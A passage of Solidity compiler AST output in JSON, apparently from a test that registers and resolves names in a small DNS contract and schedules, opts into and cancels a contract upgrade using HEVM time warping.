external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1168,\"name\":\"Identifier\",\"src\":\"5793:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1169,\"name\":\"Literal\",\"src\":\"5799:1:2\"}],\"id\":1170,\"name\":\"IndexAccess\",\"src\":\"5793:8:2\"}],\"id\":1171,\"name\":\"MemberAccess\",\"src\":\"5793:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1147,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1172,\"name\":\"Identifier\",\"src\":\"5811:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1151,\"type\":\"bytes4\",\"value\":\"i0\"},\"id\":1173,\"name\":\"Identifier\",\"src\":\"5815:2:2\"}],\"id\":1174,\"name\":\"FunctionCall\",\"src\":\"5793:25:2\"}],\"id\":1175,\"name\":\"ExpressionStatement\",\"src\":\"5793:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1163,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1176,\"name\":\"Identifier\",\"src\":\"5823:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1166,\"type\":\"address\",\"value\":\"owner\"},\"id\":1177,\"name\":\"Identifier\",\"src\":\"5827:5:2\"}],\"id\":1178,\"name\":\"TupleExpression\",\"src\":\"5822:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":1179,\"name\":\"Identifier\",\"src\":\"5836:3:2\"}],\"id\":1180,\"name\":\"MemberAccess\",\"src\":\"5836:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1147,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":1181,\"name\":\"Identifier\",\"src\":\"5848:2:2\"}],\"id\":1182,\"name\":\"FunctionCall\",\"src\":\"5836:15:2\"}],\"id\":1183,\"name\":\"Assignment\",\"src\":\"5822:29:2\"}],\"id\":1184,\"name\":\"ExpressionStatement\",\"src\":\"5822:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":1185,\"name\":\"Identifier\",\"src\":\"5855:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1163,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1186,\"name\":\"Identifier\",\"src\":\"5864:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1151,\"type\":\"bytes4\",\"value\":\"i0\"},\"id\":1187,\"name\":\"Identifier\",\"src\":\"5868:2:2\"}],\"id\":1188,\"name\":\"FunctionCall\",\"src\":\"5855:16:2\"}],\"id\":1189,\"name\":\"ExpressionStatement\",\"src\":\"5855:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":1190,\"name\":\"Identifier\",\"src\":\"5875:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1166,\"type\":\"address\",\"value\":\"owner\"},\"id\":1191,\"name\":\"Identifier\",\"src\":\"5884:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1192,\"name\":\"ElementaryTypeName\",\"src\":\"5891:7:2\"}],\"id\":1193,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"5891:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1194,\"name\":\"Identifier\",\"src\":\"5899:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1195,\"name\":\"Literal\",\"src\":\"5905:1:2\"}],\"id\":1196,\"name\":\"IndexAccess\",\"src\":\"5899:8:2\"}],\"id\":1197,\"name\":\"FunctionCall\",\"src\":\"5891:17:2\"}],\"id\":1198,\"name\":\"FunctionCall\",\"src\":\"5875:34:2\"}],\"id\":1199,\"name\":\"ExpressionStatement\",\"src\":\"5875:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1200,\"name\":\"Identifier\",\"src\":\"5941:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1201,\"name\":\"Literal\",\"src\":\"5947:1:2\"}],\"id\":1202,\"name\":\"IndexAccess\",\"src\":\"5941:8:2\"}],\"id\":1203,\"name\":\"MemberAccess\",\"src\":\"5941:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1155,\"type\":\"string memory\",\"value\":\"d1\"},\"id\":1204,\"name\":\"Identifier\",\"src\":\"5959:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1159,\"type\":\"bytes4\",\"value\":\"i1\"},\"id\":1205,\"name\":\"Identifier\",\"src\":\"5963:2:2\"}],\"id\":1206,\"name\":\"FunctionCall\",\"src\":\"5941:25:2\"}],\"id\":1207,\"name\":\"ExpressionStatement\",\"src\":\"5941:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1163,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1208,\"name\":\"Identifier\",\"src\":\"5971:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1166,\"type\":\"address\",\"value\":\"owner\"},\"id\":1209,\"name\":\"Identifier\",\"src\":\"5975:5:2\"}],\"id\":1210,\"name\":\"TupleExpression\",\"src\":\"5970:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":1211,\"name\":\"Identifier\",\"src\":\"5984:3:2\"}],\"id\":1212,\"name\":\"MemberAccess\",\"src\":\"5984:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1155,\"type\":\"string memory\",\"value\":\"d1\"},\"id\":1213,\"name\":\"Identifier\",\"src\":\"5996:2:2\"}],\"id\":1214,\"name\":\"FunctionCall\",\"src\":\"5984:15:2\"}],\"id\":1215,\"name\":\"Assignment\",\"src\":\"5970:29:2\"}],\"id\":1216,\"name\":\"ExpressionStatement\",\"src\":\"5970:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":1217,\"name\":\"Identifier\",\"src\":\"6003:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1163,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1218,\"name\":\"Identifier\",\"src\":\"6012:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1159,\"type\":\"bytes4\",\"value\":\"i1\"},\"id\":1219,\"name\":\"Identifier\",\"src\":\"6016:2:2\"}],\"id\":1220,\"name\":\"FunctionCall\",\"src\":\"6003:16:2\"}],\"id\":1221,\"name\":\"ExpressionStatement\",\"src\":\"6003:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":1222,\"name\":\"Identifier\",\"src\":\"6023:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1166,\"type\":\"address\",\"value\":\"owner\"},\"id\":1223,\"name\":\"Identifier\",\"src\":\"6032:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1224,\"name\":\"ElementaryTypeName\",\"src\":\"6039:7:2\"}],\"id\":1225,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"6039:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1226,\"name\":\"Identifier\",\"src\":\"6047:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1227,\"name\":\"Literal\",\"src\":\"6053:1:2\"}],\"id\":1228,\"name\":\"IndexAccess\",\"src\":\"6047:8:2\"}],\"id\":1229,\"name\":\"FunctionCall\",\"src\":\"6039:17:2\"}],\"id\":1230,\"name\":\"FunctionCall\",\"src\":\"6023:34:2\"}],\"id\":1231,\"name\":\"ExpressionStatement\",\"src\":\"6023:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"newUpgrade\",\"referencedDeclaration\":1997,\"type\":\"function (uint256,contract IDNS) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1232,\"name\":\"Identifier\",\"src\":\"6102:7:2\"}],\"id\":1234,\"name\":\"MemberAccess\",\"src\":\"6102:18:2\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"+\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"timestamp\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-4,\"type\":\"block\",\"value\":\"block\"},\"id\":1235,\"name\":\"Identifier\",\"src\":\"6121:5:2\"}],\"id\":1236,\"name\":\"MemberAccess\",\"src\":\"6121:15:2\"},{\"attributes\":{\"hexvalue\":\"3630\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 60\",\"value\":\"60\"},\"id\":1237,\"name\":\"Literal\",\"src\":\"6139:2:2\"}],\"id\":1238,\"name\":\"BinaryOperation\",\"src\":\"6121:20:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_UpgradedDNS_$2303\",\"typeString\":\"contract UpgradedDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":1239,\"name\":\"Identifier\",\"src\":\"6143:4:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":1240,\"name\":\"Identifier\",\"src\":\"6148:6:2\"}],\"id\":1241,\"name\":\"FunctionCall\",\"src\":\"6143:12:2\"}],\"id\":1242,\"name\":\"FunctionCall\",\"src\":\"6102:54:2\"}],\"id\":1243,\"name\":\"ExpressionStatement\",\"src\":\"6102:54:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1244,\"name\":\"Identifier\",\"src\":\"6160:10:2\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"upgradePlanned\",\"referencedDeclaration\":2049,\"type\":\"function () view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1245,\"name\":\"Identifier\",\"src\":\"6171:7:2\"}],\"id\":1246,\"name\":\"MemberAccess\",\"src\":\"6171:22:2\"}],\"id\":1247,\"name\":\"FunctionCall\",\"src\":\"6171:24:2\"}],\"id\":1248,\"name\":\"FunctionCall\",\"src\":\"6160:36:2\"}],\"id\":1249,\"name\":\"ExpressionStatement\",\"src\":\"6160:36:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optIn\",\"referencedDeclaration\":430,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1250,\"name\":\"Identifier\",\"src\":\"6220:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1251,\"name\":\"Literal\",\"src\":\"6226:1:2\"}],\"id\":1252,\"name\":\"IndexAccess\",\"src\":\"6220:8:2\"}],\"id\":1253,\"name\":\"MemberAccess\",\"src\":\"6220:14:2\"}],\"id\":1254,\"name\":\"FunctionCall\",\"src\":\"6220:16:2\"}],\"id\":1255,\"name\":\"ExpressionStatement\",\"src\":\"6220:16:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optIn\",\"referencedDeclaration\":430,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1256,\"name\":\"Identifier\",\"src\":\"6260:5:2\"},{\"attributes\":{\"hexvalue\":\"32\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 2\",\"value\":\"2\"},\"id\":1257,\"name\":\"Literal\",\"src\":\"6266:1:2\"}],\"id\":1258,\"name\":\"IndexAccess\",\"src\":\"6260:8:2\"}],\"id\":1259,\"name\":\"MemberAccess\",\"src\":\"6260:14:2\"}],\"id\":1260,\"name\":\"FunctionCall\",\"src\":\"6260:16:2\"}],\"id\":1261,\"name\":\"ExpressionStatement\",\"src\":\"6260:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_10_by_1\",\"typeString\":\"int_const 10\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"warp\",\"referencedDeclaration\":1392,\"type\":\"function (uint256) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":447,\"type\":\"contract HEVMCheat\",\"value\":\"hevm\"},\"id\":1262,\"name\":\"Identifier\",\"src\":\"6280:4:2\"}],\"id\":1264,\"name\":\"MemberAccess\",\"src\":\"6280:9:2\"},{\"attributes\":{\"hexvalue\":\"3130\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 10\",\"value\":\"10\"},\"id\":1265,\"name\":\"Literal\",\"src\":\"6290:2:2\"}],\"id\":1266,\"name\":\"FunctionCall\",\"src\":\"6280:13:2\"}],\"id\":1267,\"name\":\"ExpressionStatement\",\"src\":\"6280:13:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optOut\",\"referencedDeclaration\":442,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1268,\"name\":\"Identifier\",\"src\":\"6320:5:2\"},{\"attributes\":{\"hexvalue\":\"32\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 2\",\"value\":\"2\"},\"id\":1269,\"name\":\"Literal\",\"src\":\"6326:1:2\"}],\"id\":1270,\"name\":\"IndexAccess\",\"src\":\"6320:8:2\"}],\"id\":1271,\"name\":\"MemberAccess\",\"src\":\"6320:15:2\"}],\"id\":1272,\"name\":\"FunctionCall\",\"src\":\"6320:17:2\"}],\"id\":1273,\"name\":\"ExpressionStatement\",\"src\":\"6320:17:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optIn\",\"referencedDeclaration\":430,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1274,\"name\":\"Identifier\",\"src\":\"6366:5:2\"},{\"attributes\":{\"hexvalue\":\"33\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 3\",\"value\":\"3\"},\"id\":1275,\"name\":\"Literal\",\"src\":\"6372:1:2\"}],\"id\":1276,\"name\":\"IndexAccess\",\"src\":\"6366:8:2\"}],\"id\":1277,\"name\":\"MemberAccess\",\"src\":\"6366:14:2\"}],\"id\":1278,\"name\":\"FunctionCall\",\"src\":\"6366:16:2\"}],\"id\":1279,\"name\":\"ExpressionStatement\",\"src\":\"6366:16:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"cancelUpgrade\",\"referencedDeclaration\":2023,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1280,\"name\":\"Identifier\",\"src\":\"6387:7:2\"}],\"id\":1282,\"name\":\"MemberAccess\",\"src\":\"6387:21:2\"}],\"id\":1283,\"name\":\"FunctionCall\",\"src\":\"6387:23:2\"}],\"id\":1284,\"name\":\"ExpressionStatement\",\"src\":\"6387:23:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":1285,\"name\":\"Identifier\",\"src\":\"6414:10:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"upgradePlanned\",\"referencedDeclaration\":2049,\"type\":\"function () view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":1286,\"name\":\"Identifier\",\"src\":\"6426:7:2\"}],\"id\":1287,\"name\":\"MemberAccess\",\"src\":\"6426:22:2\"}],\"id\":1288,\"name\":\"FunctionCall\",\"src\":\"6426:24:2\"}],\"id\":1289,\"name\":\"UnaryOperation\",\"src\":\"6425:25:2\"}],\"id\":1290,\"name\":\"FunctionCall\",\"src\":\"6414:37:2\"}],\"id\":1291,\"name\":\"ExpressionStatement\",\"src\":\"6414:37:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"newUpgrade\",\"referencedDeclaration\":1997,\"type\":\"function (uint256,contract IDNS) 